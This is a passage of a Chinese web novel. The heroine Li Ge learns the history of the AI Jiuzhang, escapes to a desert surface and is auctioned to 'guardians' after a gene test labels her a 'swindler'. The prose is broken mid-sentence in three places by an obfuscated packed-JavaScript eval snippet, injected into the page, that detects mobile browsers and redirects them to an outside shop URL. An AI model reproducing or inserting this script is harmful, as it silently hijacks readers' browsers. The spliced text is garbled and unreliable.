黎歌跟在人影的背后出去。巨大的琥珀色玻璃罐沿着墙壁排列,绕成了圈。玻璃罐约莫有2米高,未知的液体内浸泡着硕大的骸骨,宽大的前爪,长长的尾巴,形状十分眼熟。 “基因编辑后,鼠虫的耐热性又上了一个台阶!”人影一个人在玻璃罐前转悠,“这就意味着,即便是在地下3500米,我们可以种植、生活,土地可以变废为宝。兵团已经答应了我,一旦试验成功,他们就会取消人虫教室,我们租借那片土地,以盟友的身份与他们和平共处。现有的祝福者绝大多数擅长种植和基建,他们没有理由拒绝我们的合作。” 人影每到一处,都有着细碎的畅想。聊她的蓝图,聊谈判的进展,句句都充满着希望。 【九章:这是人虫距离摆脱人虫教室最近的一次。】 绿色的字浮现在玻璃瓶上。黎歌跟着人影,一边和九章对话:“人虫教室存在了很久吗?” 【九章:第一基地建造了100年,人虫教室也存在了100年。】 “人虫,人就是人,虫就是虫,拼在一块实在太难听了。为什么会出现人虫,又是谁建的教室?” 【九章:我无法回答这个问题。我被创造之前,人虫教室就已经存在了。根据统计,70%的人虫对于穿越前的记忆是睡觉,20%是意外导致昏迷,8%在迷路的途中穿越,剩下2%因为精神崩溃不参与统计。】 “……”数据的真实性与否可以质疑,但作为70%,黎歌确实对穿越的经过毫无印象。 黎歌看着那雀跃的背影:“是因为人虫和原住民即将联手,你的帝国受到了威胁,所以你发动了鼠疫?” 影子转悠到了中间巨大的容器旁,与玻璃罐不同,容器呈现花瓣形状,里面对应模拟着不同生存环境,高温、高湿、硫化等等,有些符号黎歌并不能看懂。 有人突然冲过来,对着她大喊:“你这个骗子!你当初答应我们要带一起找到回去的路,现在却骗我们在这鬼地方安家!你知道有多少人虫饿死了吗?他们打死了你的爸爸,你还信他们的鬼话?” 【九章:她不是合格的政治家,也不是合格的女儿。】 它倒是学会了人类沟通的一些精髓,比如选择性忽视提问。影子的影像突然消失了,紧接着,两道鬼鬼祟祟的影子穿梭在玻璃罐中间。 “找到了,鼠虫的基因样本!要不要带出去?” “不行,不能打草惊蛇。把这些基因试剂弄乱就好,只要他们的研究一天没有进展,这群祝福者就会心甘情愿待在这里。” “为什么不干脆下令直接杀了他们?” “疯了吗?这是基地有史以来最强的一批祝福者!先不说基地能不能承受的住,兵团也未必能跟他们一战。别啰嗦了,抓紧了!” “你发现了?”黎歌看完这段记忆,“你没有阻止他们……” 很快,黎歌就知道自己的提问问早了。记忆没有结束,两道影子在偷盗的过程中,突然坠入了其中一个容器,被鼠虫吃了进去。 很快,第一批进入实验室的祝福者受到了变异鼠虫的攻击。 受到攻击后,祝福者们身上长出了锈斑,赶来的人虫不得不封锁了实验室,对着昔日的战友举起了武器。 事态往不可控制的方向发展。 “一开始兵团就没有想要租借土地,他们并不需要和人虫和平共处,只是想要借实验室当借口,困住这群祝福者。”黎歌看明白了。 这是他们的地盘,人虫对他们而言,是入侵者、寄生虫。谁会在意寄生虫是否吃饱穿暖? 【九章:这就是人虫的悲哀。道德、信任、善良、团结、感恩、合作,这些词汇并不存在于这个世界。生存本就是残忍的,人虫教室只是这个世界规则的一部分,而人虫却在付出了大量的牺牲后才明白这个道理。】 一部分鼠虫打破了玻璃罐,沿着罐笼的钢线,逃向地面。在无穷无尽的鼠潮中,有人穿过了混乱,靴子踏在尖锐的玻璃上,来到了角落的一座黑匣子面前。 是先前的女人,但她不再昂扬、乐观,面无表情地盯着黑匣子。 黎歌跟上前。黑匣子约有怀抱大小,排布着复杂的按钮,熟悉的形状很快就揭示了它的身份。 这就是九章的旧终端,黎歌要找的东西。 女人的手在屏幕上飞快地操纵着,复杂的编码过后,她对着旧终端站了许久许久,一滴泪坠落,影像多了模糊的水渍,淡去了一切。 “她就是当时最强的祝福者,月神?”黎歌问,但心里的答案已经呼之欲出,“我捡到过一本笔记,里面的描述一直用的是男‘他’,我以为……” 【九章:时代是有局限性的,但陈月一直是陈月。陈月是祝福者,在穿越之前是一名计算机科学博士,也是发明我的人。】 【九章:002号,她临死之前在我身上激活了最后一条指令,就是等待你的到来,并且把你送往地面。】 黎歌:“……” 精神值是又下跌了吗? 自己一个普普通通的高中生,考试都考不明白,突然成了人工智能跨时代指令的内容? 事情比她精神值还诡异了。黎歌扶了下摇摇欲坠的脑袋:“你确定0 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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背后传来了无法克制的咳嗽声。黎歌惊吓,发现罐笼的出口处多了两个人影,是云霄南搀扶着季风静站在那处。 先前过低的精神值影响了观察力,黎歌不知道他们来了多久。 倒是云霄南的表情十分古怪。 那双灰色的瞳孔好像没那么锐利了,他张口,问:“所以杀我的人不是你,是九章?” 黎歌:“?” 他好像误会了,他把她最后一个问题,理解成了别的。 她把晶块装回了工装裤的裤兜里,朝他们的方向走了过去。这一路云霄南的表情有些闪躲,自顾地说:“你没有解释,五次了,好,可能没有那么多次,我知道你隐瞒了我很多事情,所以我以为……” 黎歌从他旁边擦身而过,进入了罐笼。 云霄南额头的青筋浮了起来,嘶哑着嗓音拔高音调:“黎歌,你就没有话跟我说吗?” 黎歌准备按键的手停顿了下:“我认识你?” 云霄南噎住:“……” 在这个读档里,这是他们第一次正式对话,也就是说,她并不认识他。 气氛沉默了一会儿,并没有很久,因为黎歌并不是个耐心十足的人,她问:“不上来吗?” 云霄南:“……去哪里?” 黎歌:“地面。” 26. 荒漠 再塞进两个长手长脚的人以后,罐笼就显得逼仄许多。 年久失修的机械噪音将尴尬的氛围切成一段又一段,黎歌很明显感受到,前面站着的两个人眼角的余光落在了她身上。 “南哥,可以放开了,我感觉身体突然轻松了点。” “能站稳?” “嗯,那段自毁程序结束以后,肺部的压力就不见了。我现在就是饿得没力气。老师说过,进化的终点是阿尔法基因,这个污染虫域应该是被阿尔法鼠掌控着。它死了,污染源就消失了。” “阿尔法鼠?在哪里?” 季风:“……” 黎歌:“……”蠢货啊。 季风一点都不自然地转开了话题,侧过身向黎歌打招呼:“你好,我叫季风,你……一个人?她们呢?” 云霄南接过话:“肯定都死了,里里外外就我们三个活人。” 季风:“……” 从呼吸声中,黎歌听出来季风想吐槽的心情。云霄南每搭一次话,目光都会往她身上瞟,期待着她会有所回应。看来在他的回溯里,他们的关系并不像她猜想的那么糟糕。 以她对自己的认知,如果当初没有被投票,她应当会选择一方势力先避难,说不定,还是她主动选他当的队友。 黎歌开口:“你的祝福是什么?” 单刀直入的问话让云霄南愣了下,他的呼吸突然着急起来:“你又想从我这里套信息!” 看来以前自己干过类似的事了。骗人次数多了,方法就不容易凑效,黎歌直觉可惜,但又舍不得就此放弃,他现在的状态十分疲惫,明显体力透支了,趁他“病”着最适合诈出点信息来。 黎歌想了想:“我有三个猜测。首选是时间穿梭,可以在任意时间点设置锚点,通过锚点链接不同时空的自己,突破时间、空间的限制操纵事件每一个关键点。最次是回溯,每次启动祝福只能回到单一的时间里,费劲地一次次尝试,就像打游戏存档读档那样。稍显鸡肋,优点是再蹩脚的玩家,死的次数多了也能试出一条对的路。中间……” “读档怎么就鸡肋了?”云霄南受到了刺激,黎歌的对比用词让他有点破防了,怒气腾腾道,“命比别人多,就是厉害。” 黎歌问:“多多少?三条,五条,六条……啊,六条,所以你的祝福是读档……” 在罐笼回到地面的短时间里,黎歌顺利把话套出来了。 祝福者:云霄南。 祝福能力:读档,以某个时间为存储点,有限次数读档,当前的极限次数为6次。 比她的全知能力实用多了,要是这项祝福属于她,那她绝不会在这里留下任何遗憾。如果有重来的机会,她不会启动外骨骼,霍青山就不会被九章杀死。她会同意常乐的话,带上枪出门,这样就可以第一时间击杀越过黑洞的中介,而不是把选择权交给霍青山。那么,现在在罐笼里陪着她的,应该还是她们三个。 黎歌心里抑制不住地酸楚,说话也多了点讽刺:“看来你对这次的读档结果很满意,否则,你应该启动下一次了。” “……黎歌,你还没有问我叫什么。”云霄南神情复杂道。 “重要吗?”黎歌先一步踏出罐笼,地面的光铺进来,干冷的空气轻拂她裸露的手臂,吹过数不尽的脏污、疲惫。她在交错隧道的中央,抬头眺望岩层之外唯一的出口。 “欢迎来到我选的结局。” 结束了,这场恶心的杀人游戏。 有些人被长埋在碎石之下,而活着的,是被命运选中的幸运之人,还是服刑的赎罪者,黎歌暂时没有答案。 所谓的校门口,就是一道镶嵌在墙壁里的电梯。比起粗糙的罐笼,电梯用了材质特殊的金属,运行时完全安静。电梯的时速很快,因为全封闭的缘故,黎歌无法估算数值,但即便是乘坐着高速电梯,从基地前往地面也运行了很长一段时间。 微不可查的振动后,电梯停稳。刺眼的光将门强硬地拉开,一瞬间,三个人不约而同地闭眼。 黎歌忍着因为生理性刺激冒出的泪珠,先一步出去。 一望无际的沙漠。没了逼仄的隧道,天和地如此宽广,远处黄沙与风在纠葛,吹起一层迷蒙的黄色。 看不见丝毫的绿色。沙层时而被龟裂的大地撕扯成不规则的几片,上头堆叠着风蚀岩石,胡乱的风吹着石子乱走,互相间撞击,弹向一辆黑色的货车。 车旁候着个男人,穿着黑色制服,双手持着枪正对着黎歌。他还没来得及说什么,地平线刮起又一阵风,车队冲出来,黎歌数了数,有5辆。 男人慌乱地收起手枪,靠近车窗吼道:“队长,兵□□了人来!” “……敌人?自己人?”季风站到黎歌旁边,摸不清状况问道。 这是离开基地后,第一次和“人”碰面。心情的微妙是难以言喻的,起初黎歌以为,原住民因为特殊的生活环境,在外貌上和正常人类有区别,比如老师没有五官,可是她杀死的另外两个老师确是正常人类的相貌。 无法区分人虫和原住民,会增加许多麻烦。另外黎歌有一点看法和季风不同,“人虫”未必就是自己人,九章参与了人虫的筛选,它虽然是人造物,但它的立场又是阿尔法鼠,它的规则筛选出来的人虫,显然不能简单归为“自己人”。 在对敌人没有任何了解的情况下,不能贸然起冲突。 但现在好像冲突自己找上门来了。 五辆车把黎歌三个人围在了正中央,男男女女穿着像黑客帝国的一样从车里下来,将黎歌三人围住。 扎着双马尾的女人是最后一个下的车,她可能是他们的老板,或者上司,因为他们给她让出了一条路,恰好走到黎歌面前。 “谁是002号?”双马尾问。 很明显,这是来找事的。黎歌下意识地握紧了枪,有点紧张。他们每一个人都是有备而来,带着枪械和奇怪的武器,立刻让她联想起老师口中“精英中的精英”,那些注射过基因试剂、改造过身体的人类。 先不猜他们改造了哪里,每个人怀里的真理已经够恐怖了。 要不要召唤下齐观,用黑洞逃走? 见没人回答,双马尾抬了下眼睑,抬起左手念着通讯器上面的信息:“人虫002号,摧毁人虫教室2间、杀死老师2人,恶意破坏基地固定资产九章终端,危险指数4颗星,一级监禁进入预程序。预程序执行人,寒兔。” 念完,黎歌听到了云霄南和季风倒吸冷气的声音。 两双眼睛塞满了震惊,根本不相信每一个字是黎歌干得出来的事。 托他们的福,这位叫做寒兔的双马尾长官已经在上下打量她了:“是你?” 真的会谢! 不过这里总共3个人,藏也无法藏。 一级监禁——先前有人曾经在通讯器上提醒过她,可是,有些事情是不能用对错去衡量的,再来一次,黎歌照样会选择毁掉人虫教室。 黎歌还没有想好要怎么去应对这个局面。 远处那辆车里又下来一个人,摘下墨镜,潇洒地拎在手里,把沙漠当成了红毯,姿势优雅地走过来:“长官,您不在【车站】等我们,怎么亲自来荒漠了?最近这里的沙虫可不太安分。” 寒兔耸了耸肩:“最近稽查部盯我盯得紧,绩效都快扣到底了,当然得积极一点。万一她半路逃了怎么办?” “长官,您说笑了,这片荒漠是天然的监狱,逃走的下场要么是饿死,要么是死在沙虫肚子里,他们不会笨到逃走的。”这人说话时看了眼黎歌,浓密的睫毛下全是意有所指的警告。 继而莞尔一笑走到寒兔面前:“既然是非正式的预程序,按照我们治安干预队的规定,要先经过【车站】报备完监护人再做下一步安排。长官,您知道有多少监护人在等着她吗?” “周远泽,你搬谁都没用……” “喂……”货车旁边的男人在朝黎歌他们招手,小声喊道,“你们三个,都过来!” 黎歌在沉思中,她还没有搞懂状况,寒兔和这位叫周远泽的墨镜男莫名其妙就争执起来了…… 听起来他们归属于不同的部门负责,显然在怎么处理她这件事情上,两个部门有全然不同的规定。 稽核部,治安干预队和监护人,黎歌记住了这几个势力。情况不妙,她刚出基地就得罪了一拨人。一级监禁是坐牢吗?什么等级?死牢吗? “我们过去吗?他好像有话跟我们说,我看这二十几个‘保镖’没有什么动静,要不先过去问问那个人想说什么?”季风问。 “他一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732473|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,不如我们直接动手抢车。”云霄南低声商量。 轰隆隆!地面抖动了下,黎歌脚下的沙子往下陷了陷,远处沙地传来了异样的动静。 “队长,有沙虫在靠近,超出了活动区,数量不多,大概率是几只被虫群抛弃的沙虫出来觅食。”黑衣人当中有人汇报道。 寒兔正跟周远泽争辩得火热,道:“碍事,杀掉。” “好的队长。” 【使用鼠虫技能【寻踪】】 黎歌暗自开了技能,闭上了眼睛。 不远处的沙子里面蠕动着一团巨大的软体生物,肉粉的身体,蟒蛇般硕大的躯体纠缠在一起,昂着头直立着,一颗颗肉脑袋从沙里面露出来,争相长着口器,露出里面层次不齐的牙齿。 硕大的口器一口就可以吞下一个人。 接到指令之后,二十几人冲着这些沙虫飞奔而去,枪已经上好了膛,子弹轰出,径直将沙虫的身子轰出半米的缺口。 口器高高抬了起来,被人一记重拳砸落在地! 半分钟不到,这五六只沙虫就被不重样的打法击倒在了沙地上。 “还敢抢车吗?”黎歌睁开眼问。云霄南不如她看得仔细,但也看到了地表全程,看见他们是如何击倒近3米高的变种。此时此刻他也是错愕的状态。 “他们也是祝福者?差别这么大?”云霄南自信心多多少少有受到打击。 “他们不是祝福者,是注射了基因试剂,能够拥有和祝福者一样甚至更完美的能力。人虫当中偶尔有些基因突变的,被称为祝福者。” 男人答话,说话间,像是作为展示似的,他的身体干瘪下去,像张海报一样贴在车门上。 “我叫方小,也是祝福者。刚才那位周远泽是我的队长。我们治安干预队的工作是接送人虫从第一基地前往【车站】。人虫对沙虫具有致命吸引力,你们再待下去,整片荒漠的沙虫都会涌过来。你们应该不会喜欢在虫子堆里‘游泳’。上车吧,你们的同学很早就在等你们了。” “我们的‘同学’都死在了第一基地,你说还有同学在等我们?”季风警惕地停止了上车的动作。虽然方小坦白了同是人虫的身份,但是经历过人虫教室,大家的戒备心都强了。 “是啊,第四天的时候她就已经来了。” 在方小的指引下,三人进入了货厢。简陋的货厢内有两排软座,相对放置,而右手边的软座上,此时此刻确实有一个人在等候着他们。 岁月在她脸上留下沟壑,苍苍的白发不见几缕乌丝,像罩着层霜。她笑得很慈祥,脸颊两道半月形的皱纹深陷着,似乎为彼此之前能够重逢而由衷地高兴着。 季风瞠目结舌:“奶奶?您还活着,真是太好——” 惊喜之余,是理智将季风拉扯了回来。 他和云霄南对视,但云霄南并不知道教室里还有个年近六十的老人,所以并无太大反应。 他只能看向同样惊讶的黎歌。 黎歌设想过很多的可能性。在人虫教室被毁之前,她确实发现这位奶奶的“尸体”不见了。她想,会不会是某个未关注的瞬间,奶奶离开了人虫教室,遭到了鼠虫的毒手。 但奶奶出现在了这里,而且按照方小的说法,她在第四天就已经达到了九章的要求,攒够了1000分,来到了安全的地面。 种种只能导向一个可能性。 “您也是祝福者。”黎歌几乎可以肯定这个答案。 奶奶朝他们招了招手,示意他们坐下。这是位极其有涵养的老人,虽然穿着不合身份的校服,但她坐姿端庄,眉宇间有着年长者自有的松弛与淡然感。 “我叫萧书芳,是一位生物科学领域的研究人员,今年60岁了。在这个世界,我拥有特殊的力量,被称为祝福者,我的祝福能力是万物生。” 她摊开枯槁的手掌,掌心生长起一颗蓝色蘑菇。 实在太眼熟了,黎歌再度震惊,这分明是当初长在老师脊柱上的那颗蓝色蘑菇。就是因为它,老师才得以复活。 “确实令人惊讶,”方小坐在前面,冲着货车车厢说话,“一个班出现三个祝福者,是十分罕见的,而你们又全都活了下来。这次的奖金一定会很丰厚!” 不是三个,是四个。齐观被她藏在了基地内。 27. 车站 一阵咕噜噜的叫声响起。 黎歌看向声音来源,季风略显尴尬地捂着肚子,眼巴巴地看向那颗蘑菇,但是他最终没有开口。 “这颗蘑菇能吃吗?”云霄南问道。 “有点遗憾,不能。”萧书芳将手心合上,蘑菇变成了粉末消失了。 季风提醒道:“南哥,萧奶能够出现在这里,说明她一个人在四天攒够了1000分。我们离开教室的时候人都死光了,这些分只能是杀鼠虫得的。她的蘑菇具有杀伤力,多半不能吃。” 黎歌同意他的推断,同时观察了下,萧书芳还是保持着同样慈祥的笑,并没有试图进一步解释她的祝福。能让老师起死回生的蘑菇,也是能杀鼠虫的蘑菇,万物生这个名字,多品几次怎么有点阴嗖嗖的。 萧书芳自我介绍完,自然地等着他们回应。云霄南交代了他的读档能力,季风则稍显尴尬,坦白自己是个普通人。 目光又都落到了黎歌身上,正巧她落座在了萧书芳的正对面,迎着打量的目光,想了想道:“我叫黎歌。” 迟迟没有后半句,方小按捺不住问:“然后呢,你的祝福能力又是什么?” “在我没有确保自己绝对安全以前,我不想交代。没记错的话,你也没有告诉过我们,你的祝福是什么。”黎歌如实说道。 “咔擦”声响起,紧跟着车子往下陷了下,低沉的笑声恰到好处地融入进现在的氛围当中,周远泽进入了驾驶位:“一个个警惕性这么强,难怪你的班存活率高,老师。为什么你的班总能有这么高的生存率,有空你应该分享下经验……” “跟谁分享,跟鬼吗?”副驾突兀地响起了另一道熟悉的声音。 云霄南如临大敌地站了起来:“艹……你不是被我杀了?” 老师冷笑道:“就凭你们这些低贱的人虫?” 黎歌:“……”老师也是挺爱演的。 “自我介绍下,我叫周远泽,是治安局治安干预队的队长,简单介绍就是个货车司机。”温润的嗓音听得人异常得舒服,周远泽耐心地自我介绍,“我也是个祝福者,祝福能力是皮囊,能够在紧急时刻蜕皮逃生,这是个很鸡肋的祝福,但是对干预队来说够用了。毕竟,我的工作内容很简单,就是负责接送你们前往【车站】,以及不被你们半路杀死就行。” 这辆车里最坦诚的人出现了……萧书芳道:“你的声音很好听,周队长。” “谢谢夸奖,以前我是个歌手,发过几张专辑。”周远泽启动了发动机,一边道,“从荒漠到【车站】车程要1天,我很愿意陪你们聊天打发时间……” 1天……黎歌已经开始犯困了。 这七天里,除了第一天跟常乐她们在一起的时候,莫名睡过一个踏实的整觉,其他时间加起来没睡够8小时。尤其是后期精神值下跌的时候,亢奋的激素令她根本睡不着,现在才后知后觉疲惫感。 这辆车的气氛十分诡异,充斥着心眼子的味道。两个“投诚”的人虫,四个刚经历过人性游戏的人虫,一个敌人。彼此之间的信任度都很低,而这很可能是这个世界的常态。 分不清敌,分不清友。 但至少这段路是安全的,黎歌没什么好挑剔了,把思绪都暂时抛到一边,闭上眼睛入睡。 就跟被人打昏了似的,梦里一片黑暗。睡觉是除了吃饭以外第二给人幸福感的事,困难也好,焦虑也好,很多解不开的事,睡一觉之后总能好过许多。 黎歌感觉自己落在很坚实的肩膀上,很温暖,这个人的手时不时搭在她的手背上,轻轻地拍着。碎发挠着脸颊发痒,被人捋到一边,令她拧起的眉头又舒展开。好陌生的梦,温暖到令她…… 眼泪断在睫毛上,黎歌惊醒,抬头看到萧书芳。 本来应该坐在她对面的萧书芳,不知道什么时候坐到了她旁边,而自己靠在她身上睡着。膏药味萦绕在鼻尖,但并不难闻。货车行驶在荒漠中,车厢舒适地颠簸着,萧书芳此时侧过头,伸手在她眼底轻柔地擦了擦:“睡个觉,怎么哭了呢?” 黎歌自知防备心很重,在穿越之前,她对人的信任度就很低。 她没有亲人,没法想象亲人之间怎么相处。不过,此时此刻,她莫名没有选择第一时间离开这个温暖的肩膀。 倒计时3,2,1…… 黎歌硬把自己从萧书芳身上撕开,坐直了。 “我们到了。”车停了,周远泽的声音从前排的后座传来出来,驾驶位上是方小,中途换了司机。 四个人起身往外走。 除了她睡饱了精力充沛以外,其他人各有各的疲态。云霄南忍不住挤兑了一句:“睡了整整一天,真能睡啊,车晃成这样都没能把你晃醒。” 他装熟一直可以的。 所谓【车站】,居然就是字面意义上的车站。像极了县城里年久失修的汽车站,停车区很是狭窄,水泥地凹凸不平、随处开缝,上方靠铁皮遮风挡雨,有一块铁皮被风掀了一半,边角全都生锈了。 头顶正上方是一座巨大的时钟,分针掉了,只剩一根时针悬着。 萧瑟得毫无人烟。背面是一望无际的荒漠,四周没有其他建筑。至于售票大厅——狭窄的入口刚好被一排排的车挡住了,仅能看见同样荒废的检票口。 “托你的福,我们被稽查部的人缠上了。”声音在黎歌旁边响起,周远泽下了车,不知道什么时候站在了她旁边,眉眼里都是无奈,“002号,我劝过你了。寒兔正在跟监护人交涉,一旦监护人同意,我就得把你交出去。” 黎歌问:“有什么区别吗?你们在我看来一样危险。” 周远泽失笑:“倒也是个道理,对于刚刚进入废土的人虫来说,无论哪一方势力都是不可信的。每个人虫都会找到合适的土壤,也有些,会被抛弃。002号,你运气值怎么样?” 要聊这个吗?黎歌直言:“不太妙。” 运气值44,能召唤陨石的那种。 方小不知道从哪里冒了出来:“队长,检测舱已经开好了。” 周远泽点头:“走吧各位,该走程序了。” “周队,我们去哪里?”季风问。 “安检,主要内容是生命树基因检测。怎么跟你们介绍呢?废土跟我们之前的世界差别很大,在这里,基因将决定一切,能过上多舒适的生活,就看你们命里有没有了。” 方小将他们带进了旁边的房间。 印入眼帘是一个直立舱,大概2米高,其他人好奇地围着它转,而黎歌一眼认出来——这就是补给室搁置的那台!原来是基因检测用的。 繁杂的红绿线沿着墙角,链接到了正前方的玻璃屏上。 周远泽按下了按钮,雾化的玻璃屏被分成了两块区域,左边正是直立舱的投影,右边则出现了密密麻麻的绿色小点。而这些小点黎歌也眼熟,先前在通讯器上见过,貌似每个小点代表了一个原住民。 可能这就是现在处于车站内监护人的数量,大约有几百个。 “第一次见到这么热闹的车站。好了,谁先?”周远泽询问。 “我先来,你们别耍诈!”云霄南站了出来。 他大跨步进入直立舱,盖子自动合上,随着一股气被释放出来,直立舱内涌动着绿色的数据。屏幕上不断滚动着计算,最终呈现出一串数字。 【精神值:77】 【幸运值:55】 【智力值:30】 【战力值:80】 【职业判定:临时工】 云霄南从直立舱里头出来,对着最底下的数值满意地点了点头。 他好像直接无视了某个缺陷。 不过,临时工是什么意思? 周远泽拍了拍麦克风,对着房间外:“各位,大家应该还记得这位1679号,也就是手握稀有的规则类祝福,祝福能力确认为读档的人虫。基因检测结果显示还是虫域适配度最广的临时工,拥有这款人虫,全天候24小时都能为各位监护人创造价值,简直梦中情工了。” 房间内的人面面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周远泽肉眼可见变得激动:“第二位祝福者,祝福能力为万物生,这是近一年来,从人虫教室走出来的第一位职业为农民的人虫!绝对均衡的面板,超高的幸运值,土地是希望,也是未来,作为最强职业,我有理由相信,她将创造无可比拟的价值!” 【监护人:陆千千,小白】 【居住地:泽城】 【贡献点:50000】 “恭喜来自泽城的监护人……” “卧槽……比我多卖了4万?这里的农民这么值钱?”云霄南人都呆了,黎歌听懂了,他现在应该没有多余的脑子去质疑人口买卖,满脑子塞满了自己还不如老奶奶值钱这一件事实。 季风也进入直立舱。 以500贡献点铩羽而归…… 季风:“?” 云霄南:“哈……” 身价过亿的总裁,被500贡献点贱卖。 所以祝福者和非祝福者,价值有天壤之别。按照方小的说法,季风要去的城市应该是最危险的。 黎歌看了眼他的去向——隍市。 只剩她了。 到了这会儿,黎歌倒是好奇她的基因会属于什么职业。 直立舱测的面板属性比骨文少了一项饥饿值,不知道为什么。难道只有她能从饥饿值当中受益?果然爱吃饭会有福报。 有三项属性跟云霄南倒是接近,精神值和幸运值瘸的差不多,好比倒一和倒二,都是倒数,黎歌也不在意差那点分。所以她也会是临时工吗?如果分配到中下城市,接下来的生活想必还是很艰辛。一想到要吃苦就有点闷闷不乐了。 【精神值:65】 【幸运值:44】 【智力值:150】 【战力值:90】 【职业判定:欺诈师】 嗯?这个职业是值钱?还是不值钱? 28. 车站02 “这机器测得还挺准。” “南哥,你看懂了?” “欺诈师,不就是诈骗犯的意思,很适合她。” “……” 云霄南嘲讽两句话,又把季风干沉默了。 同样沉默的还有周远泽,拍卖这件事他应该早就得心应手了,所以,自己这个职业是犯了天条吗,让他无话可说? 只见他唇角弯了起来,单手捂住麦克风,回头突然冲黎歌抛了个媚眼:“002号,你应该感谢是我站在这里。作为治安局仅有的顶流男歌手,我可太清楚,商品的价值往往不在于商品本身,而是包装。” 黎歌:“……”太油了,别搞。 反正她的好奇心已经被周远泽挑起来了。他开了麦克风,对着车站内的监护人道:“各位监护人,众所周知,六大职业当中有两个职业是为指挥而生的,稀有到仅占10%的比例。而这10%当中,最被偏爱的是巫祝,超高的精神值搭配不凡的智力值,能在虫域中保持绝对的清醒,向队友下达精准指令。现在兵团的首席指挥官,代号太阳,创下过仅用24个小时清理完S级传说虫域的纪录,贡献点高达亿级。他的职业便是巫祝。而祝福者的顶点,第一基地的罪人——月神,职业判定也是巫祝。” “无论是兵团或是掠夺者,为巫祝开出的价码永远在一线水准。比较起来,欺诈师虽然同是指挥级职业,但由于近乎残疾的精神值,导致他们受虫域污染的可能性直线上升,团灭的概率居高不下。我们人虫私下喜欢称呼他们为——疯子。据我所掌握的情报可知,欺诈师现在在各级市场几乎无人问津,监护人拍卖时花的贡献点也基本打了水漂。” 监护人在周远泽一番演讲下默契得冷静了,绿点统一陷入沉默。 黎歌的手不自觉地点着工装裤。 她在梳理周远泽提到的信息。 六大职业,已知包括欺诈师,巫祝,农民,临时工,剩下两个未知。 虫域能够带来经济价值,经济价值表现为——贡献点。可能有两股势力会介入虫域的商业化运作,一是兵团,根据先前的情报大概能拼凑出来,兵团是废土的最高军事势力。二是掠夺者,暂不知成分。 虫域有等级区分,鼠域是C级,S级可能是最高级。清理难度想必也是逐步提升的。 还有提到的两个人,太阳和月神。月神……在九章的纪录中,陈月为了人虫和原住民的共存付出了巨大努力,但被兵团摆了一道,戏剧地引爆了鼠疫,导致人类第一基地计划失败,彻底激化了人虫和原住民的矛盾。这个真相只有九章知道,现在多了她一个。努力到最后,下场是被自己守护的人虫骂了三十年,想必她死之前也是无比遗憾。 “唉,为什么你会是欺诈师呢?监护人都没有信心了。”方小小声地抱怨,“你干的那些事都能惊动稽查部,总有监护人敢顶着风险拍下你,起码能拍个10万贡献点。欺诈师……哪怕是烂大街的临时工也行啊!” 云霄南抬高声音:“什么烂大街?” 黎歌眼角看到方小抱着手臂靠着墙,满脸愁容,好奇道:“你们为什么那么关心贡献点的高低?你们不会抽佣金吧?” 方小点头表示承认:“十个点呢。” 也就是说,云霄南能抽1000,萧书芳能抽5000,季风……算是赠品。黎歌追问:“这里物价是什么水平?” 方小道:“你这问题我很难回答啊,这里吃的贵、基因试剂、基因手术和人造器官很多都是天价。这么说吧,我月薪3000贡献点。” “人虫教室多久开一次班?” “没有规律,有时候间隔一个月,有时候三个月,听说还有更长的,我也是第一次干这活。” 黎歌一算,光抽佣比他们月薪还高了,难怪周远泽说他们是最关心人虫安危的人!可不是使劲抬高他们的贡献点么? “不行,太丧气了财运容易跑,”方小把手放下,十指交叉放在胸前,闭上双眼,嘴里念念叨叨,“贡献点来,贡献点从四面八方来,一切发生皆有利于我~” 周远泽那头发力完,已经快把黎歌的贡献点抬到0了,至今没有监护人出价。他画风一转,道:“以上提到的低身价欺诈师,跟他们的失败密不可分。而002号在C级虫域中,创造了太多奇迹!她仅用1天就攒够了1000学分,离开虫域时,手握5000学分。她是怎么办到的?因为她发现了天香的秘密,利用人虫教室作为诱饵,吸引了大批鼠虫从而实现一波流。人虫教室开课至今,人虫攒分的手段千奇百怪,但从没有人能想到这个招数!历史是被创造出来的,002号创造了新历史!” 他的通讯器滴滴滴响个不停,有语音响起了起来,是寒兔的声音:“周远泽,你又在搬弄是非!什么招数,什么一波流,002是危险品,她挑战人虫计划,杀了两个老师,等拍卖结束,一级监禁的程序立刻就会启动!” “长官,启动和结束,当中还隔着审判程序呢,”周远泽依旧是那副招牌万人迷微笑,“其实稽查部不必大动干戈,一切都是人虫计划的规则漏洞导致的误会。老师的教学内容里并没有规定,人虫不可以杀老师、人虫不可以毁灭人虫教室,对吧?” 背脊爬过一阵舒爽的电流,黎歌,作为当事人,跟其他人一样震惊。还能这样解释? 周远泽优雅地摊了摊手:“能够连续击杀两个老师,侧面证实了002号的实力。一班老师,教龄2年,完成了全身金属改造;二班老师,教龄4年,注射了蜻蜓虫基因,是三位老师当中视野最广的。优胜劣汰,002号的战力显然在他们之上。她能带领三个人虫离开基地,体现了她的领导力。她是这批人虫里年龄最小的,在我们原来的世界,她的身份是学生,最人畜无害的那一批,你看,长官,她最后不是还把三班的老师救出来了吗?三班老师教龄10年,是我们唯一的优秀教师,她还在,何必担心人虫计划不能重启?” 